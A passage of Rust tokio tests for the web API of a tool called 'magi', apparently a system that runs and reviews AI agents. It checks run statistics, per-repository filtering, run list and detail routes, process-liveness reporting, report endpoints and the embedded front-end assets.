12273            std::fs::create_dir_all(&dir).expect("run dir");
12274            std::fs::write(
12275                dir.join("run.json"),
12276                serde_json::to_string_pretty(state).expect("serialize run"),
12277            )
12278            .expect("write run.json");
12279        }
12280
12281        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12282        assert_eq!(bumps["merged"], 2);
12283        assert_eq!(bumps["recorded"], 2);
12284        assert_eq!(bumps["pr_opened"], 2);
12285        assert_eq!(bumps["automerge_enabled"], 1);
12286        assert_eq!(bumps["needs_attention"], 1);
12287        assert_eq!(bumps["clean"], 1);
12288        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12289        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12290    }
12291
12292    #[tokio::test]
12293    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12294        let f = Fixture::start().await;
12295        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12296
12297        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12298        assert_eq!(bumps["merged"], 1);
12299        assert_eq!(bumps["recorded"], 0);
12300        // `merged` is nonzero, so coverage still reads as a real 0%, not an
12301        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
12302        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12303        // `pr_opened` and `recorded` are both zero here, so these rates have
12304        // no denominator to compute from and must be null.
12305        assert_eq!(bumps["automerge_rate"], Value::Null);
12306        assert_eq!(bumps["attention_rate"], Value::Null);
12307    }
12308
12309    #[tokio::test]
12310    async fn stats_queue_counts_come_from_the_live_queue() {
12311        let f = Fixture::start().await;
12312        let q = f.queue();
12313        let mut queued = Task::new(
12314            "queued task".to_owned(),
12315            "do it".to_owned(),
12316            PathBuf::from("/repo"),
12317            Source::Human,
12318        );
12319        q.put(&mut queued).expect("put queued");
12320        let mut held = Task::new(
12321            "held task".to_owned(),
12322            "do it later".to_owned(),
12323            PathBuf::from("/repo"),
12324            Source::Human,
12325        );
12326        held.hold_machine(Some("out of attempts".to_owned()));
12327        q.put(&mut held).expect("put held");
12328
12329        let queue = f.get("/api/stats").await.json()["queue"].clone();
12330        assert_eq!(queue["queued"], 1);
12331        assert_eq!(queue["held"], 1);
12332        assert_eq!(queue["running"], 0);
12333        assert_eq!(queue["done"], 0);
12334        assert_eq!(queue["failed"], 0);
12335        assert_eq!(queue["blocked"], 0);
12336    }
12337
12338    #[tokio::test]
12339    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12340        let f = Fixture::start().await;
12341        let stats = f.get("/api/stats").await;
12342        assert_eq!(stats.status, 200);
12343        assert_eq!(stats.json()["totals"]["runs"], 0);
12344        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12345        assert_eq!(stats.json()["runs_unreadable"], 0);
12346        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12347        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12348        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12349        assert_eq!(stats.json()["repo"], Value::Null);
12350    }
12351
12352    #[tokio::test]
12353    async fn stats_lists_every_repository_with_runs_recorded() {
12354        let f = Fixture::start().await;
12355        write_run_repo(
12356            &f.runs(),
12357            "20260902-140501-a",
12358            RunStatus::Merged,
12359            "/repos/a",
12360        );
12361        write_run_repo(
12362            &f.runs(),
12363            "20260902-140502-b",
12364            RunStatus::Merged,
12365            "/repos/a",
12366        );
12367        write_run_repo(
12368            &f.runs(),
12369            "20260902-140503-c",
12370            RunStatus::Blocked,
12371            "/repos/b",
12372        );
12373
12374        let stats = f.get("/api/stats").await;
12375        assert_eq!(stats.status, 200);
12376        // Unfiltered - the aggregate across both repositories.
12377        assert_eq!(stats.json()["totals"]["runs"], 3);
12378        assert_eq!(stats.json()["repo"], Value::Null);
12379
12380        let repos = stats.json()["repos"].clone();
12381        let repos = repos.as_array().unwrap();
12382        assert_eq!(repos.len(), 2);
12383        // Busiest (2 runs) first.
12384        assert_eq!(repos[0]["repo"], "/repos/a");
12385        assert_eq!(repos[0]["name"], "a");
12386        assert_eq!(repos[0]["runs"], 2);
12387        assert_eq!(repos[1]["repo"], "/repos/b");
12388        assert_eq!(repos[1]["runs"], 1);
12389    }
12390
12391    #[tokio::test]
12392    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12393        let f = Fixture::start().await;
12394        write_run_repo(
12395            &f.runs(),
12396            "20260902-140501-a",
12397            RunStatus::Merged,
12398            "/repos/a",
12399        );
12400        write_run_repo(
12401            &f.runs(),
12402            "20260902-140502-b",
12403            RunStatus::Blocked,
12404            "/repos/b",
12405        );
12406
12407        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12408        assert_eq!(stats.status, 200);
12409        assert_eq!(stats.json()["totals"]["runs"], 1);
12410        assert_eq!(stats.json()["totals"]["merged"], 1);
12411        assert_eq!(stats.json()["repo"], "/repos/a");
12412        // The repository list itself is unaffected by the filter - it is
12413        // what a client switches repositories from.
12414        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12415        // runs_unreadable is a whole-workload count, never scoped to the
12416        // selected repository - see StatsView::runs_unreadable's own doc.
12417        assert_eq!(stats.json()["runs_unreadable"], 0);
12418    }
12419
12420    #[tokio::test]
12421    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12422        let f = Fixture::start().await;
12423        write_run_repo(
12424            &f.runs(),
12425            "20260902-140501-a",
12426            RunStatus::Merged,
12427            "/repos/a",
12428        );
12429        write_run_repo(
12430            &f.runs(),
12431            "20260902-140502-b",
12432            RunStatus::Merged,
12433            "/repos/b",
12434        );
12435
12436        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12437            let json = f.get(uri).await.json();
12438            let daily = json["daily"].as_array().expect("daily is an array");
12439            assert_eq!(daily.len(), 30);
12440            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12441            let mut sorted = dates.clone();
12442            sorted.sort();
12443            assert_eq!(dates, sorted);
12444            for d in daily {
12445                assert_eq!(
12446                    d["merged"].as_u64().unwrap()
12447                        + d["ready"].as_u64().unwrap()
12448                        + d["other"].as_u64().unwrap(),
12449                    d["runs"].as_u64().unwrap()
12450                );
12451            }
12452            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12453        }
12454    }
12455
12456    #[tokio::test]
12457    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12458        let f = Fixture::start().await;
12459        write_run_repo(
12460            &f.runs(),
12461            "20260902-140501-a",
12462            RunStatus::Merged,
12463            "/repos/a",
12464        );
12465
12466        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12467        assert_eq!(stats.status, 404);
12468    }
12469
12470    #[tokio::test]
12471    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12472        let f = Fixture::start().await;
12473        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12474
12475        let summary = f.get("/api/runs").await.json();
12476        let row = &summary[0];
12477        assert_eq!(row["short"], "a1b2");
12478        assert_eq!(row["status"], "ready");
12479        assert_eq!(row["done"], true);
12480        assert_eq!(row["title"], "Add a web UI");
12481        assert_eq!(row["repo_name"], "magi");
12482        assert_eq!(row["judges"], 3);
12483        assert_eq!(row["winner"], Value::Null);
12484        assert_eq!(row["reviews"], 0);
12485
12486        // The short id resolves, and the detail route is the state itself, not
12487        // a projection of it: the UI reads fields the summary does not carry.
12488        let detail = f.get("/api/runs/a1b2").await;
12489        assert_eq!(detail.status, 200);
12490        assert_eq!(detail.json()["base_branch"], "main");
12491        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12492    }
12493
12494    /// `status: "ready"` alone cannot tell a run still headed for a landing
12495    /// (a PR closed without merging, say) apart from one `[merge] mode =
12496    /// "none"` left unmerged for good — the confusion the operator flagged
12497    /// after the CLI report already grew a `not landed — nothing to do by
12498    /// design` line for exactly this case (`report.rs`). Both the list route
12499    /// and the detail route must carry a flag the phone can key on instead of
12500    /// re-deriving it from `status` + `merge.mode` itself.
12501    #[tokio::test]
12502    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12503        let f = Fixture::start().await;
12504
12505        let mut none_run = RunState::new(
12506            PathBuf::from("/repo/magi"),
12507            "main".to_owned(),
12508            "0123456789abcdef".to_owned(),
12509            "Add a web UI".to_owned(),
12510            Config::default(),
12511        );
12512        none_run.id = "20260902-140503-none".to_owned();
12513        none_run.status = RunStatus::Ready;
12514        none_run.merge = Some(crate::run::MergeOutcome {
12515            mode: crate::config::MergeMode::None,
12516            ok: true,
12517            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12518            empty: false,
12519        });
12520        write_state(&f.runs(), &none_run);
12521
12522        let mut pr_run = RunState::new(
12523            PathBuf::from("/repo/magi"),
12524            "main".to_owned(),
12525            "0123456789abcdef".to_owned(),
12526            "Add a web UI".to_owned(),
12527            Config::default(),
12528        );
12529        pr_run.id = "20260902-140504-prcl".to_owned();
12530        pr_run.status = RunStatus::Ready;
12531        pr_run.merge = Some(crate::run::MergeOutcome {
12532            mode: crate::config::MergeMode::Pr,
12533            ok: false,
12534            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12535            empty: false,
12536        });
12537        write_state(&f.runs(), &pr_run);
12538
12539        let summary = f.get("/api/runs").await.json();
12540        let rows: std::collections::HashMap<&str, &Value> = summary
12541            .as_array()
12542            .expect("an array")
12543            .iter()
12544            .map(|r| (r["id"].as_str().expect("an id"), r))
12545            .collect();
12546        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12547        assert_eq!(
12548            rows[none_run.id.as_str()]["unmerged_by_design"],
12549            true,
12550            "a mode-none Ready must be flagged in the list"
12551        );
12552        assert_eq!(
12553            rows[pr_run.id.as_str()]["unmerged_by_design"],
12554            false,
12555            "a Ready reached by a closed pull request is a different case"
12556        );
12557
12558        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12559        assert_eq!(none_detail["status"], "ready");
12560        assert_eq!(none_detail["unmerged_by_design"], true);
12561
12562        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12563        assert_eq!(pr_detail["unmerged_by_design"], false);
12564    }
12565
12566    /// `RunState::active` is only ever cleared by whoever populated it, so the
12567    /// detail route also has to say whether a daemon is actually still
12568    /// driving this run right now — otherwise a seat from a killed process's
12569    /// last wave would read as live forever.
12570    #[tokio::test]
12571    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12572        let f = Fixture::start().await;
12573        // Matches `write_daemon`'s hard-coded `current.run`, so the second
12574        // half of this test can claim the daemon is working on it without a
12575        // second helper.
12576        let id = "20260902-140502-bbbb";
12577        let mut state = RunState::new(
12578            PathBuf::from("/repo/magi"),
12579            "main".to_owned(),
12580            "0123456789abcdef".to_owned(),
12581            "Add a web UI".to_owned(),
12582            Config::default(),
12583        );
12584        state.id = id.to_owned();
12585        state.status = RunStatus::Judging;
12586        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12587        let dir = f.runs().join(id);
12588        std::fs::create_dir_all(&dir).expect("run dir");
12589        std::fs::write(
12590            dir.join("run.json"),
12591            serde_json::to_string_pretty(&state).expect("serialize run"),
12592        )
12593        .expect("write run.json");
12594
12595        // No daemon.json at all, and no `driver_pid` recorded either (this
12596        // state was written directly, never through `execute()`): there is
12597        // nothing to confirm either way, so the route must say `"unknown"` —
12598        // never `"dead"`, which is exactly the false diagnosis a manual `magi
12599        // run` used to get from this route before `driver_pid` existed.
12600        let cold = f.get(&format!("/api/runs/{id}")).await.json();
12601        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12602        assert_eq!(cold["live"], "unknown", "{cold}");
12603
12604        // A fresh heartbeat naming exactly this run: the same entry now reads
12605        // as confirmed, not merely recorded.
12606        write_daemon(f.home.path(), Timestamp::now());
12607        let warm = f.get(&format!("/api/runs/{id}")).await.json();
12608        assert_eq!(warm["live"], "live", "{warm}");
12609    }
12610
12611    /// Where a run came from is shown, and a run written before origins were
12612    /// recorded (schema 12, no `origin` key) stays readable and says so.
12613    #[tokio::test]
12614    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12615        let f = Fixture::start().await;
12616        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12617            let mut state = RunState::new(
12618                PathBuf::from("/repo/magi"),
12619                "main".to_owned(),
12620                "0123456789abcdef".to_owned(),
12621                "Add a web UI".to_owned(),
12622                Config::default(),
12623            );
12624            state.id = id.to_owned();
12625            state.origin = origin;
12626            let mut value = serde_json::to_value(&state).expect("serialize run");
12627            if let Some(schema) = schema {
12628                value["schema"] = serde_json::json!(schema);
12629                value.as_object_mut().unwrap().remove("origin");
12630            }
12631            let dir = f.runs().join(id);
12632            std::fs::create_dir_all(&dir).expect("run dir");
12633            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12634        };
12635        write(
12636            "20260930-092817-ec34",
12637            Some(crate::run::Origin::from_agent_env(
12638                Some(("4a7b".to_owned(), "chat".to_owned())),
12639                None,
12640            )),
12641            None,
12642        );
12643        write("20260930-092817-0ld1", None, Some(12));
12644
12645        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12646        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12647        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12648
12649        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12650        assert_eq!(
12651            old["origin_label"], "origin unknown (started before origins were recorded)",
12652            "{old}"
12653        );
12654        assert!(old["origin"].is_null(), "{old}");
12655
12656        let list = f.get("/api/runs").await.json();
12657        let labels: Vec<_> = list
12658            .as_array()
12659            .unwrap()
12660            .iter()
12661            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12662            .collect();
12663        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12664    }
12665
12666    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
12667    /// review` claims no daemon at all, so before this field existed the
12668    /// route above read it as `"dead"` — indistinguishable from a run a
12669    /// killed process abandoned — the whole time it was genuinely still
12670    /// answering. With a live pid recorded, it must read `"live"` even
12671    /// though no daemon claims it.
12672    #[tokio::test]
12673    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12674        let f = Fixture::start().await;
12675        let id = "20260922-090000-cccc";
12676        let mut state = RunState::new(
12677            PathBuf::from("/repo/magi"),
12678            "main".to_owned(),
12679            "0123456789abcdef".to_owned(),
12680            "Review only".to_owned(),
12681            Config::default(),
12682        );
12683        state.id = id.to_owned();
12684        state.status = RunStatus::Reviewing;
12685        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12686        // This test process's own pid: guaranteed alive, and never needs a
12687        // real daemon or a second process to prove it. The matching start-time
12688        // marker is what `liveness` now requires alongside a live pid — see
12689        // `RunState::driver_started_at`'s own doc for why the pid alone is
12690        // not enough.
12691        state.driver_pid = Some(std::process::id());
12692        state.driver_started_at = Some(
12693            crate::proc::process_started_at(std::process::id())
12694                .expect("this test process's own start time must be queryable"),
12695        );
12696        let dir = f.runs().join(id);
12697        std::fs::create_dir_all(&dir).expect("run dir");
12698        std::fs::write(
12699            dir.join("run.json"),
12700            serde_json::to_string_pretty(&state).expect("serialize run"),
12701        )
12702        .expect("write run.json");
12703
12704        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12705        assert_eq!(detail["live"], "live", "{detail}");
12706    }
12707
12708    /// A killed manual run's pid can be handed to a wholly unrelated later
12709    /// process — a live query on `driver_pid` alone would read this as
12710    /// `"live"`, exactly the false positive `driver_started_at` exists to
12711    /// catch (see that field's own doc, and `RunState::liveness_with`'s
12712    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
12713    #[tokio::test]
12714    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12715        let f = Fixture::start().await;
12716        let id = "20260922-090100-dddd";
12717        let mut state = RunState::new(
12718            PathBuf::from("/repo/magi"),
12719            "main".to_owned(),
12720            "0123456789abcdef".to_owned(),
12721            "Review only".to_owned(),
12722            Config::default(),
12723        );
12724        state.id = id.to_owned();
12725        state.status = RunStatus::Reviewing;
12726        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12727        // This test process's own pid really is alive, but the marker
12728        // recorded here does not match what it actually started at —
12729        // standing in for the pid having since been reused by a different
12730        // process than the one that wrote `run.json`.
12731        state.driver_pid = Some(std::process::id());
12732        state.driver_started_at = Some("1".to_owned());
12733        let dir = f.runs().join(id);
12734        std::fs::create_dir_all(&dir).expect("run dir");
12735        std::fs::write(
12736            dir.join("run.json"),
12737            serde_json::to_string_pretty(&state).expect("serialize run"),
12738        )
12739        .expect("write run.json");
12740
12741        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12742        assert_eq!(detail["live"], "dead", "{detail}");
12743    }
12744
12745    /// The deck's competition list is normally the first place an operator
12746    /// sees an old run. It must carry the same process verdict as detail, or
12747    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
12748    #[test]
12749    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12750        let mk = |id: &str, pid: Option<u32>| {
12751            let mut s = RunState::new(
12752                PathBuf::from("/repo/magi"),
12753                "main".to_owned(),
12754                "0123456789abcdef".to_owned(),
12755                "Add a web UI".to_owned(),
12756                Config::default(),
12757            );
12758            s.id = id.to_owned();
12759            s.driver_pid = pid;
12760            s.driver_started_at = Some("1790000000".to_owned());
12761            s
12762        };
12763        let states = vec![
12764            mk("20260902-140502-aaaa", Some(77)),
12765            mk("20260902-140502-bbbb", Some(77)),
12766            mk("20260902-140502-cccc", Some(77)),
12767            mk("20260902-140502-dddd", None),
12768        ];
12769        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12770        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12771        let sup: HashMap<String, String> = [(
12772            "20260902-140502-aaaa".to_owned(),
12773            "20260902-140502-cccc".to_owned(),
12774        )]
12775        .into();
12776
12777        let status_calls = std::cell::Cell::new(0);
12778        let identity_calls = std::cell::Cell::new(0);
12779        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12780            |_| {
12781                status_calls.set(status_calls.get() + 1);
12782                Some(true)
12783            },
12784            |_| {
12785                identity_calls.set(identity_calls.get() + 1);
12786                Some("1790000000".to_owned())
12787            },
12788        ));
12789        let rows = summarize(
12790            states,
12791            &open,
12792            &claimed,
12793            &sup,
12794            |p| probe.borrow_mut().status(p),
12795            |p| probe.borrow_mut().started_at(p),
12796        );
12797
12798        assert_eq!(status_calls.get(), 1, "one pid, one status query");
12799        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12800        assert_eq!(rows.len(), 4);
12801        assert!(!rows[0].waiting && rows[1].waiting);
12802        assert_eq!(rows[0].live, crate::run::Liveness::Live);
12803        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12804        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12805        assert_eq!(rows[1].superseded_by, None);
12806    }
12807
12808    #[test]
12809    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12810        let mut state = RunState::new(
12811            PathBuf::from("/repo/magi"),
12812            "main".to_owned(),
12813            "0123456789abcdef".to_owned(),
12814            "Review only".to_owned(),
12815            Config::default(),
12816        );
12817        state.id = "20260922-090200-dead".to_owned();
12818        state.status = RunStatus::Reviewing;
12819        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12820            .expect("serialize list row");
12821        assert_eq!(row["status"], "reviewing");
12822        assert_eq!(row["live"], "dead", "{row}");
12823        assert!(!row["done"].as_bool().unwrap());
12824    }
12825
12826    #[tokio::test]
12827    async fn the_run_list_is_newest_first_and_honours_a_limit() {
12828        let f = Fixture::start().await;
12829        for id in [
12830            "20260902-140501-aaaa",
12831            "20260902-140502-bbbb",
12832            "20260902-140503-cccc",
12833        ] {
12834            write_run(&f.runs(), id, RunStatus::Merged);
12835        }
12836
12837        let all = f.get("/api/runs").await.json();
12838        let capped = f.get("/api/runs?limit=2").await.json();
12839
12840        assert_eq!(all[0]["id"], "20260902-140503-cccc");
12841        assert_eq!(all.as_array().map(Vec::len), Some(3));
12842        assert_eq!(capped.as_array().map(Vec::len), Some(2));
12843        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12844    }
12845
12846    #[tokio::test]
12847    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12848        let f = Fixture::start().await;
12849        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12850
12851        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12852
12853        assert_eq!(res.status, 200);
12854        assert!(
12855            res.headers
12856                .contains("content-type: text/plain; charset=utf-8"),
12857            "a browser must render it, not download it: {}",
12858            res.headers
12859        );
12860        // The assertion is on content, not on the absence of escapes: colour
12861        // is a process-global that `serve` turns off at startup, and another
12862        // test in this binary may own it while this one runs.
12863        assert!(
12864            res.body.contains("20260902-140501-a1b2"),
12865            "the report is about the run that was asked for: {}",
12866            res.body
12867        );
12868    }
12869
12870    #[tokio::test]
12871    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12872        // The view names the run's state directory, which reads the process-global home.
12873        crate::run::pin_test_home();
12874        let f = Fixture::start().await;
12875        let id = "20260902-140501-a1b2";
12876        write_run(&f.runs(), id, RunStatus::Stalled);
12877        // A stalled panel and one review round, written through the real
12878        // state file so the route reads what a run really leaves behind.
12879        let path = f.runs().join(id).join("run.json");
12880        let mut v: serde_json::Value =
12881            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12882        v["tally"] = serde_json::json!({
12883            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12884            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12885            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12886            "met_quorum": false, "rankings": 1
12887        });
12888        v["reviews"] = serde_json::json!([{
12889            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12890            "e2e_deferred": true,
12891            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12892                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12893            ]}]
12894        }]);
12895        std::fs::write(&path, v.to_string()).unwrap();
12896        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12897        std::fs::write(
12898            f.runs().join("20260902-140502-dead").join("run.json"),
12899            "{not json",
12900        )
12901        .unwrap();
12902
12903        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12904
12905        assert_eq!(res.status, 200, "{}", res.body);
12906        assert!(res.headers.contains("content-type: application/json"));
12907        let j = res.json();
12908        assert_eq!(j["schema"], 1);
12909        assert_eq!(j["header"]["id"], id);
12910        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12911        let kinds: Vec<&str> = j["sections"]
12912            .as_array()
12913            .unwrap()
12914            .iter()
12915            .map(|s| s["kind"].as_str().unwrap())
12916            .collect();
12917        assert_eq!(kinds, ["candidates", "tally", "review"]);
12918        let tally = &j["sections"][1]["tally"];
12919        assert_eq!(
12920            (tally["decided"].clone(), tally["provisional"].clone()),
12921            (false.into(), true.into())
12922        );
12923        let round = &j["sections"][2]["rounds"][0];
12924        assert_eq!(round["e2e"]["state"], "deferred");
12925        assert_eq!(round["findings"][0]["severity"], "major");
12926        assert_eq!(round["findings"][0]["blocking"], true);
12927        assert_eq!(round["findings"][0]["state"], "open");
12928
12929        // The raw route keeps working beside it.
12930        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12931
12932        // An unreadable run is an error, as on the text route, and is counted.
12933        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12934        assert_ne!(bad.status, 200, "{}", bad.body);
12935        assert_eq!(
12936            bad.status,
12937            f.get("/api/runs/20260902-140502-dead/report").await.status
12938        );
12939        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12940        assert_eq!(
12941            f.get("/api/runs/20260902-999999-ffff/report.json")
12942                .await
12943                .status,
12944            404
12945        );
12946    }
12947
12948    #[tokio::test]
12949    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12950        let f = Fixture::start().await;
12951
12952        let html = f.get("/").await;
12953        let css = f.get("/app.css").await;
12954        let js = f.get("/app.js").await;
12955
12956        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12957        assert!(
12958            html.headers
12959                .contains("content-type: text/html; charset=utf-8")
12960        );
12961        assert!(css.headers.contains("content-type: text/css"));
12962        assert!(js.headers.contains("content-type: text/javascript"));
12963        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12964    }
12965
12966    #[test]
12967    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12968        let body = |name: &str| {
12969            let at = APP_JS
12970                .find(name)
12971                .unwrap_or_else(|| panic!("{name} missing"));
12972            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12973        };
12974        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12975        let note = body("function landRoundNote");
12976        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12977        assert!(note.contains("Land round ${round}"));
12978        let land = body("function renderLand");
12979        let note_at = land
12980            .find("landRoundNote(pr)")
12981            .expect("renderLand uses the note");
12982        assert!(
12983            note_at
12984                < land
12985                    .find("roundRail(pr)")
12986                    .expect("renderLand uses the rail")
12987        );
12988    }
12989
12990    #[test]
12991    fn the_runs_page_redesign_keeps_its_guards() {
12992        let body = |name: &str| {
12993            let at = APP_JS
12994                .find(name)
12995                .unwrap_or_else(|| panic!("{name} missing"));
12996            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12997        };
12998        // A null child must never reach the native append (it prints "null").
12999        let land = body("function renderLand");
13000        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13001        assert!(
13002            !land.contains("box.append("),
13003            "renderLand must use append()"
13004        );
13005        assert!(land.contains("append(box, ["));
13006        // Tabs are hash routes; the run id alone decides a reload.
13007        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13008        assert!(
13009            body("function applyRoute")
13010                .contains("route.name !== state.route.name || route.id !== state.route.id")
13011        );
13012        // The decorative diagram is gone, the strip and its guards stay.
13013        assert!(!APP_JS.contains("adviseConvergeDiagram"));
13014        assert!(!INDEX_HTML.contains("advise-converge"));
13015        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13016        assert!(APP_JS.contains("provisional"));
13017        for id in [
13018            "run-tab-overview",
13019            "run-tab-timeline",
13020            "run-tab-report",
13021            "run-report",
13022            "runs-scope",
13023        ] {
13024            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13025        }
13026        assert!(!INDEX_HTML.contains("runs-tree"));
13027        assert!(!INDEX_HTML.contains("run-raw-panel"));
13028        // Fold still says it cannot be resumed.
13029        assert!(APP_JS.contains("resume"));
13030        // The unreadable-runs count stays on the page.
13031        assert!(APP_JS.contains("unreadable"));
13032    }
13033
13034    #[test]
13035    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13036        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13037        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13038        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
13039        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13040        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13041        // The subtitle still counts them whatever the banner does.
13042        assert!(APP_JS.contains("unreadable` : null"));
13043    }
13044
13045    #[test]
13046    fn the_run_detail_payload_says_whether_the_run_is_done() {
13047        // `landView` reads `run.done`; the detail response must carry it.
13048        for (status, done) in [
13049            (RunStatus::Superseded, true),
13050            (RunStatus::Blocked, true),
13051            (RunStatus::Landing, false),
13052        ] {
13053            let mut state = RunState::new(
13054                std::path::PathBuf::from("/repo"),
13055                "main".to_owned(),
13056                "abc".to_owned(),
13057                "x".to_owned(),
13058                crate::config::Config::default(),
13059            );
13060            state.status = status;
13061            let v = serde_json::to_value(RunDetailView::of(
13062                state,
13063                crate::run::Liveness::Unknown,
13064                None,
13065                None,
13066                None,
13067            ))
13068            .unwrap();
13069            assert_eq!(v["done"], done, "{status:?}");
13070        }
13071    }
13072
13073    /// The first node of a markdown block holds a `strong` somewhere.
13074    fn has_strong(nodes: &[md::Node]) -> bool {
13075        serde_json::to_string(nodes).unwrap().contains("strong")
13076    }
13077
13078    #[test]
13079    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13080        let mut state = RunState::new(
13081            std::path::PathBuf::from("/repo"),
13082            "main".to_owned(),
13083            "abc".to_owned(),
13084            "x".to_owned(),
13085            crate::config::Config::default(),
13086        );
13087        let proposal = |approach: &str| {
13088            serde_json::json!({
13089                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13090            })
13091        };
13092        state.advice = Some(
13093            serde_json::from_value(serde_json::json!({
13094                "records": [
13095                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13096                     "proposal": proposal("do **this**")},
13097                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13098                ],
13099                "synthesis": "- one\n- **two**\n\n`code`",
13100            }))
13101            .unwrap(),
13102        );
13103        state.candidates = serde_json::from_value(serde_json::json!([
13104            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13105             "summary": "did **it**"},
13106            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13107        ]))
13108        .unwrap();
13109        // Recorded in ascending severity, the reverse of how the page sorts
